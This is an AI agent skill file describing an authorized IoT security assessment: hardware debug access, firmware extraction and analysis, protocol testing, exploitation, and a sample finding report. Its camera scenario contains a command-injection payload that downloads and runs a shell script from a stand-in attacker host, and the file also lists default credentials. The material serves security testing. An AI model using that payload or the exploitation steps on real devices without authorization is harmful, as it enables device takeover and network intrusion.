---
name: performing-iot-security-assessment-d4a45de15eee
description: 'Performs comprehensive security assessments of IoT devices and their ecosystems by testing hardware interfaces,
  firmware, network communications, cloud APIs, and companion mobile applications. The tester uses firmware extraction and
  analysis, hardware debugging via UART and JTAG, network protocol analysis, and runtime exploitation to identify vulnerabilities
  across all layers of the IoT stack. Activates for requests involving IoT security testing, embedded device assessment, firmware
  security analysis, or smart device penetration testing.

  '
domain: cybersecurity
subdomain: penetration-testing
tags:
- IoT-security
- firmware-analysis
- embedded-systems
- hardware-hacking
- UART-JTAG
version: 1.0.0
author: Krishna Kumar (xalgord)
license: Apache-2.0
nist_csf:
- ID.RA-01
- ID.RA-06
- GV.OV-02
- DE.AE-07
---
# Performing IoT Security Assessment

## When to Use

- Evaluating the security of IoT devices before deployment in enterprise or critical infrastructure environments
- Assessing consumer IoT products for security vulnerabilities as part of product security review or certification
- Testing industrial IoT (IIoT) devices for vulnerabilities that could affect operational technology environments
- Analyzing firmware for backdoors, hardcoded credentials, and known vulnerabilities in embedded components
- Evaluating the security of the complete IoT ecosystem including device, cloud backend, and mobile companion app

**Do not use** against IoT devices without written authorization, for modifying firmware on devices you do not own, or against medical devices or safety-critical systems without specific medical device testing authorization and safety protocols.

## Most Often Missed & How to Confirm

- **Hardware debug interfaces before the web UI** — UART (often a no-auth root console at 115200) and JTAG/SWD frequently give root immediately. Testers who only fuzz the web interface miss the easiest full compromise. Probe headers/test points with a multimeter or JTAGulator.
- **Firmware secrets shared across the whole fleet** — extract from SPI/eMMC (`flashrom`) or the vendor update, then `binwalk -e` and grep for hardcoded creds, private keys, API tokens, and `/etc/shadow` hashes. One model-wide key compromises every deployed unit.
- **The full ecosystem, not just the device** — the cloud API (IDOR/auth-bypass on device-to-cloud calls) and the companion mobile app (hardcoded endpoints/keys) are often weaker than the device itself.
- **All radios and protocols** — BLE (static pairing, plaintext characteristics), Zigbee/Z-Wave (replay, weak key exchange), and unauthenticated MQTT/CoAP/ONVIF/RTSP, plus unencrypted device traffic.
- **Network blast radius** — prove a compromised device can pivot to the corporate/OT network; segmentation failure is usually the real enterprise risk.
- **How to confirm**: capture concrete proof — a serial-console root prompt photo + `id` output, the extracted firmware path with the cracked credential, a Burp capture of a cloud-API IDOR returning another user's data, or a sniffed BLE/Zigbee packet. Don't conclude the device is hardened until you have checked UART/JTAG and dumped+analyzed the firmware, not just the running web UI; don't conclude it's safe to deploy until you've tested whether it can reach the corporate network.

## Prerequisites

- Physical access to the target IoT device(s) for hardware analysis and testing
- Hardware tools: USB-to-UART adapter (FTDI), Bus Pirate, logic analyzer, JTAG debugger (Segger J-Link), SPI flash programmer (CH341A)
- Firmware analysis tools: Binwalk, Firmwalker, Firmware Analysis Toolkit (FAT), Ghidra, QEMU for emulation
- Network analysis: Wireshark, tcpdump, Bluetooth tools (Ubertooth, nRF Connect), Zigbee tools (KillerBee)
- Soldering equipment for accessing hardware debug points if needed

## Workflow

### Step 1: Device Reconnaissance and Hardware Analysis

Examine the physical device and identify attack surfaces:

- **External inspection**: Document all physical interfaces (USB, Ethernet, serial ports, SD card slots), labels, FCC ID, and model numbers
- **FCC ID lookup**: Search the FCC database (fcc.gov/oet/ea/fccid) using the FCC ID to find internal photos, schematics, and radio frequency information
- **PCB analysis**: Open the device enclosure and photograph the PCB. Identify:
  - Main processor/SoC (read markings, search datasheet)
  - Flash memory chips (SPI NOR, NAND, eMMC)
  - Debug headers and test points
  - UART/JTAG/SWD pins (look for 4-pin or 10-pin headers, or unpopulated pads)
- **UART identification**: Use a multimeter to identify UART pins (TX, RX, GND, VCC). Connect USB-to-UART adapter and attempt serial console access at common baud rates (9600, 38400, 57600, 115200)
- **JTAG identification**: Use JTAGulator or manual probing to identify JTAG pins (TCK, TMS, TDI, TDO, TRST). Connect JTAG debugger for memory access and debugging.

### Step 2: Firmware Extraction and Analysis

Extract and analyze the device firmware:

- **Firmware acquisition methods**:
  - Download from manufacturer website or update server
  - Extract from flash memory using SPI programmer: connect CH341A to SPI flash, read with `flashrom -p ch341a_spi -r firmware.bin`
  - Capture over-the-air updates via network interception
  - Extract from UART bootloader console (U-Boot: `md.b` memory dump)
- **Firmware unpacking**: `binwalk -e firmware.bin` to extract filesystem, kernel, and bootloader components
- **Filesystem analysis**:
  - Search for credentials: `grep -rn "password\|passwd\|secret\|key" squashfs-root/`
  - Examine `/etc/shadow` for password hashes
  - Review startup scripts in `/etc/init.d/` for insecure service configurations
  - Identify web server configurations and CGI scripts for web interface vulnerabilities
  - Use Firmwalker: `./firmwalker.sh squashfs-root/` for automated sensitive data discovery
- **Binary analysis**: Use Ghidra to reverse engineer key binaries (web server, management daemon, authentication modules) for hardcoded credentials, command injection, and buffer overflow vulnerabilities
- **Known vulnerability scanning**: Extract software versions and cross-reference with CVE databases. Use `firmware-analysis-toolkit` for automated CVE scanning.

### Step 3: Network Communication Analysis

Analyze all network traffic from the IoT device:

- **Traffic capture**: Connect the device to a network with traffic mirroring (SPAN port) or use an inline transparent bridge. Capture all traffic with Wireshark.
- **Protocol analysis**: Identify all protocols used (HTTP, HTTPS, MQTT, CoAP, AMQP, custom TCP/UDP). Check for unencrypted sensitive data transmission.
- **TLS analysis**: Verify TLS implementation: certificate validation, cipher suite strength, certificate pinning. Attempt MITM interception with Burp Suite.
- **Cloud API analysis**: Intercept device-to-cloud communication to identify API endpoints, authentication methods, and data transmitted. Test for IDOR, authentication bypass, and excessive data exposure.
- **Bluetooth/BLE testing**: Use nRF Connect or Ubertooth to enumerate BLE services and characteristics. Test for unauthenticated access, plaintext data transmission, and static pairing keys.
- **Zigbee/Z-Wave testing**: Use KillerBee framework to capture and analyze Zigbee traffic, test for replay attacks, and check key exchange security.

### Step 4: Firmware Emulation and Dynamic Testing

Emulate the firmware for dynamic security testing:

- **QEMU emulation**: Use FirmAE or Firmadyne to emulate the extracted firmware: `python3 fat.py firmware.bin` to boot the firmware in an emulated environment
- **Web interface testing**: Access the device's web management interface from the emulated environment and test for:
  - Default credentials (admin:admin, root:root, admin:password)
  - Command injection in configuration parameters
  - Authentication bypass via direct URL access
  - Cross-site scripting in all input fields
  - CSRF in state-changing operations
- **Service testing**: Use Nmap to scan the emulated device for all open ports and test each service for known vulnerabilities
- **Fuzzing**: Fuzz network services using Boofuzz or AFL to discover memory corruption vulnerabilities in embedded services

### Step 5: Exploitation and Impact Demonstration

Exploit identified vulnerabilities to demonstrate impact:

- **Remote code execution**: Chain discovered vulnerabilities (command injection, buffer overflow) to achieve remote code execution on the device
- **Credential extraction**: Extract and crack credentials found in firmware, memory dumps, or network captures
- **Lateral movement**: Demonstrate how a compromised IoT device can be used to attack other devices on the network
- **Persistence**: Show how an attacker could maintain access to the device across firmware updates or reboots
- **Physical impact**: For IIoT devices, demonstrate the potential for physical manipulation (changing sensor readings, modifying actuator commands)

## Key Concepts

| Term | Definition |
|------|------------|
| **UART** | Universal Asynchronous Receiver/Transmitter; a serial communication interface commonly used for debug consoles on embedded devices, often providing root shell access |
| **JTAG** | Joint Test Action Group; a hardware debugging interface that provides direct access to the processor for memory reading, code debugging, and firmware extraction |
| **Firmware** | The software embedded in the device's flash memory that controls its operation, typically consisting of a bootloader, operating system kernel, and root filesystem |
| **Binwalk** | A firmware analysis tool that identifies and extracts embedded file systems, compressed archives, and binary components from firmware images |
| **MQTT** | Message Queuing Telemetry Transport; a lightweight publish/subscribe protocol commonly used for IoT device communication, often deployed without authentication |
| **BLE** | Bluetooth Low Energy; a wireless protocol used by many IoT devices for short-range communication, susceptible to eavesdropping and unauthorized access if not properly secured |

## Tools & Systems

- **Binwalk**: Firmware extraction and analysis tool that identifies file system types, compression formats, and embedded data within firmware images
- **Ghidra**: NSA's open-source reverse engineering framework for analyzing embedded device binaries across ARM, MIPS, and other architectures
- **FirmAE/Firmadyne**: Automated firmware emulation platforms that boot extracted Linux-based IoT firmware in QEMU for dynamic testing
- **Bus Pirate**: Hardware hacking multi-tool supporting UART, SPI, I2C, and JTAG protocols for interfacing with embedded device debug interfaces
- **Wireshark**: Network protocol analyzer for capturing and analyzing IoT device network traffic across all protocol layers

## Common Scenarios

### Scenario: Enterprise IP Camera Security Assessment

**Context**: A company plans to deploy 200 IP cameras from a single vendor across its offices. Before deployment, the security team requests a penetration test of the camera to identify vulnerabilities that could be exploited to gain access to the corporate network.

**Approach**:
1. Open the camera and identify UART pins on the PCB; connect and access a root shell at 115200 baud with no password
2. Extract firmware from the SPI flash chip and analyze with Binwalk: discover embedded Linux with BusyBox, lighttpd web server, and custom management daemon
3. Find hardcoded credentials in `/etc/shadow` (root:$1$abc$hashedpassword) and crack the MD5 hash in seconds (password: camera123)
4. Web interface testing reveals command injection in the NTP server configuration field: `; wget http://attacker.com/shell.sh | sh`
5. Network analysis shows the camera sends RTSP streams unencrypted and has ONVIF services exposed without authentication
6. Demonstrate pivoting: from the compromised camera, scan the corporate network and access 3 internal servers
7. Report recommends network segmentation, firmware vendor engagement, and deployment of cameras on an isolated VLAN

**Pitfalls**:
- Focusing only on the web interface and missing UART/JTAG access that provides a root shell with no authentication
- Not analyzing the firmware for hardcoded credentials that may be shared across all devices of the same model
- Testing the device in isolation and missing network-level risks from deploying vulnerable devices on the corporate network
- Overlooking the cloud connectivity and mobile app components that may expose additional attack surfaces

## Output Format

```
## Finding: Unauthenticated Root Shell via UART Debug Interface

**ID**: IOT-001
**Severity**: Critical (CVSS 9.0)
**Device**: ModelCam X200 IP Camera (Firmware v3.2.1)
**Interface**: UART serial console (115200 baud, 8N1)

**Description**:
The IP camera exposes a UART serial interface on the PCB that provides
direct root shell access without authentication. An attacker with physical
access to the device can connect a USB-to-UART adapter and obtain full
root access to the embedded Linux operating system.

**Proof of Concept**:
1. Opened device enclosure (4 Philips screws, no tamper detection)
2. Connected FTDI adapter to UART pins (J3 header on PCB)
3. Serial terminal at 115200 8N1: immediate root shell prompt
4. root@camera:~# id -> uid=0(root) gid=0(root)

**Additional Findings from Root Access**:
- /etc/shadow contains hardcoded root password (camera123) shared across all units
- WiFi credentials for any configured network stored in plaintext at /etc/wireless.conf
- RTSP stream accessible without authentication on port 554

**Impact**:
Physical access to any deployed camera grants root access to the network.
With 200 cameras deployed across offices, each camera becomes a potential
network entry point with root-level command execution capability.

**Remediation**:
1. Disable UART console access or require authentication in production firmware
2. Remove hardcoded credentials; use per-device unique passwords generated at manufacture
3. Encrypt stored WiFi credentials using a hardware-backed key
4. Deploy cameras on an isolated VLAN with no access to the corporate network
```


---
Source attribution: xalgord
Original project: https://github.com/xalgord/xalgorix/blob/cec44d71b1d998208e1e2091982d0ee2f928041f/internal/tools/skills/data/penetration-testing/performing-iot-security-assessment/SKILL.md
License: Apache-2.0
License information: https://www.apache.org/licenses/LICENSE-2.0
Original upstream instructions; downloaded from Mega AI Hub.

## Upstream license notice


                                 Apache License
                           Version 2.0, January 2004
                        http://www.apache.org/licenses/

   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION

   1. Definitions.

      "License" shall mean the terms and conditions for use, reproduction,
      and distribution as defined by Sections 1 through 9 of this document.

      "Licensor" shall mean the copyright owner or entity authorized by
      the copyright owner that is granting the License.

      "Legal Entity" shall mean the union of the acting entity and all
      other entities that control, are controlled by, or are under common
      control with that entity. For the purposes of this definition,
      "control" means (i) the power, direct or indirect, to cause the
      direction or management of such entity, whether by contract or
      otherwise, or (ii) ownership of fifty percent (50%) or more of the
      outstanding shares, or (iii) beneficial ownership of such entity.

      "You" (or "Your") shall mean an individual or Legal Entity
      exercising permissions granted by this License.

      "Source" form shall mean the preferred form for making modifications,
      including but not limited to software source code, documentation
      source, and configuration files.

      "Object" form shall mean any form resulting from mechanical
      transformation or translation of a Source form, including but
      not limited to compiled object code, generated documentation,
      and conversions to other media types.

      "Work" shall mean the work of authorship, whether in Source or
      Object form, made available under the License, as indicated by a
      copyright notice that is included in or attached to the work
      (an example is provided in the Appendix below).

      "Derivative Works" shall mean any work, whether in Source or Object
      form, that is based on (or derived from) the Work and for which the
      editorial revisions, annotations, elaborations, or other modifications
      represent, as a whole, an original work of authorship. For the purposes
      of this License, Derivative Works shall not include works that remain
      separable from, or merely link (or bind by name) to the interfaces of,
      the Work and Derivative Works thereof.

      "Contribution" shall mean any work of authorship, including
      the original version of the Work and any modifications or additions
      to that Work or Derivative Works thereof, that is intentionally
      submitted to Licensor for inclusion in the Work by the copyright owner
      or by an individual or Legal Entity authorized to submit on behalf of
      the copyright owner. For the purposes of this definition, "submitted"
      means any form of electronic, verbal, or written communication sent
      to the Licensor or its representatives, including but not limited to
      communication on electronic mailing lists, source code control systems,
      and issue tracking systems that are managed by, or on behalf of, the
      Licensor for the purpose of discussing and improving the Work, but
      excluding communication that is conspicuously marked or otherwise
      designated in writing by the copyright owner as "Not a Contribution."

      "Contributor" shall mean Licensor and any individual or Legal Entity
      on behalf of whom a Contribution has been received by Licensor and
      subsequently incorporated within the Work.

   2. Grant of Copyright License. Subject to the terms and conditions of
      this License, each Contributor hereby grants to You a perpetual,
      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
      copyright license to reproduce, prepare Derivative Works of,
      publicly display, publicly perform, sublicense, and distribute the
      Work and such Derivative Works in Source or Object form.

   3. Grant of Patent License. Subject to the terms and conditions of
      this License, each Contributor hereby grants to You a perpetual,
      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
      (except as stated in this section) patent license to make, have made,
      use, offer to sell, sell, import, and otherwise transfer the Work,
      where such license applies only to those patent claims licensable
      by such Contributor that are necessarily infringed by their
      Contribution(s) alone or by combination of their Contribution(s)
      with the Work to which such Contribution(s) was submitted. If You
      institute patent litigation against any entity (including a
      cross-claim or counterclaim in a lawsuit) alleging that the Work
      or a Contribution incorporated within the Work constitutes direct
      or contributory patent infringement, then any patent licenses
      granted to You under this License for that Work shall terminate
      as of the date such litigation is filed.

   4. Redistribution. You may reproduce and distribute copies of the
      Work or Derivative Works thereof in any medium, with or without
      modifications, and in Source or Object form, provided that You
      meet the following conditions:

      (a) You must give any other recipients of the Work or
          Derivative Works a copy of this License; and

      (b) You must cause any modified files to carry prominent notices
          stating that You changed the files; and

      (c) You must retain, in the Source form of any Derivative Works
          that You distribute, all copyright, patent, trademark, and
          attribution notices from the Source form of the Work,
          excluding those notices that do not pertain to any part of
          the Derivative Works; and

      (d) If the Work includes a "NOTICE" text file as part of its
          distribution, then any Derivative Works that You distribute must
          include a readable copy of the attribution notices contained
          within such NOTICE file, excluding those notices that do not
          pertain to any part of the Derivative Works, in at least one
          of the following places: within a NOTICE text file distributed
          as part of the Derivative Works; within the Source form or
          documentation, if provided along with the Derivative Works; or,
          within a display generated by the Derivative Works, if and
          wherever such third-party notices normally appear. The contents
          of the NOTICE file are for informational purposes only and
          do not modify the License. You may add Your own attribution
          notices within Derivative Works that You distribute, alongside
          or as an addendum to the NOTICE text from the Work, provided
          that such additional attribution notices cannot be construed
          as modifying the License.

      You may add Your own copyright statement to Your modifications and
      may provide additional or different license terms and conditions
      for use, reproduction, or distribution of Your modifications, or
      for any such Derivative Works as a whole, provided Your use,
      reproduction, and distribution of the Work otherwise complies with
      the conditions stated in this License.

   5. Submission of Contributions. Unless You explicitly state otherwise,
      any Contribution intentionally submitted for inclusion in the Work
      by You to the Licensor shall be under the terms and conditions of
      this License, without any additional terms or conditions.
      Notwithstanding the above, nothing herein shall supersede or modify
      the terms of any separate license agreement you may have executed
      with Licensor regarding such Contributions.

   6. Trademarks. This License does not grant permission to use the trade
      names, trademarks, service marks, or product names of the Licensor,
      except as required for reasonable and customary use in describing the
      origin of the Work and reproducing the content of the NOTICE file.

   7. Disclaimer of Warranty. Unless required by applicable law or
      agreed to in writing, Licensor provides the Work (and each
      Contributor provides its Contributions) on an "AS IS" BASIS,
      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
      implied, including, without limitation, any warranties or conditions
      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
      PARTICULAR PURPOSE. You are solely responsible for determining the
      appropriateness of using or redistributing the Work and assume any
      risks associated with Your exercise of permissions under this License.

   8. Limitation of Liability. In no event and under no legal theory,
      whether in tort (including negligence), contract, or otherwise,
      unless required by applicable law (such as deliberate and grossly
      negligent acts) or agreed to in writing, shall any Contributor be
      liable to You for damages, including any direct, indirect, special,
      incidental, or consequential damages of any character arising as a
      result of this License or out of the use or inability to use the
      Work (including but not limited to damages for loss of goodwill,
      work stoppage, computer failure or malfunction, or any and all
      other commercial damages or losses), even if such Contributor
      has been advised of the possibility of such damages.

   9. Accepting Warranty or Additional Liability. While redistributing
      the Work or Derivative Works thereof, You may choose to offer,
      and charge a fee for, acceptance of support, warranty, indemnity,
      or other liability obligations and/or rights consistent with this
      License. However, in accepting such obligations, You may act only
      on Your own behalf and on Your sole responsibility, not on behalf
      of any other Contributor, and only if You agree to indemnify,
      defend, and hold each Contributor harmless for any liability
      incurred by, or claims asserted against, such Contributor by reason
      of your accepting any such warranty or additional liability.

   END OF TERMS AND CONDITIONS

   APPENDIX: How to apply the Apache License to your work.

      To apply the Apache License to your work, attach the following
      boilerplate notice, with the fields enclosed by brackets "[]"
      replaced with your own identifying information. (Don't include
      the brackets!)  The text should be enclosed in the appropriate
      comment syntax for the file format. We also recommend that a
      file or class name and description of purpose be included on the
      same "printed page" as the copyright notice for easier
      identification within third-party archives.

   Copyright 2026 xalgord

   Licensed under the Apache License, Version 2.0 (the "License");
   you may not use this file except in compliance with the License.
   You may obtain a copy of the License at

       http://www.apache.org/licenses/LICENSE-2.0

   Unless required by applicable law or agreed to in writing, software
   distributed under the License is distributed on an "AS IS" BASIS,
   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
   See the License for the specific language governing permissions and
   limitations under the License.



# Mega AI Hub resource metadata

Creator / publisher: xalgord
Original project: https://github.com/xalgord/xalgorix/blob/cec44d71b1d998208e1e2091982d0ee2f928041f/internal/tools/skills/data/penetration-testing/performing-iot-security-assessment/SKILL.md
Attribution basis: Source repository record

Fields of work: Development & Engineering, Product Management
Roles: Backend Developer, Data Engineer, ML / AI Engineer, Product Manager, Security Engineer
Specialties: Specialty not specified
Tools: Binwalk, Ghidra, Killerbee, Nrf Connect, Qemu, Tcpdump, Ubertooth, Wireshark
Country applicability: Country not specified
Classification basis: Source catalog labels
Instruction SHA-256: 90f3b03f4db0ea28728603e6c2d37d811527742ad0c6c710743e1563925298b0
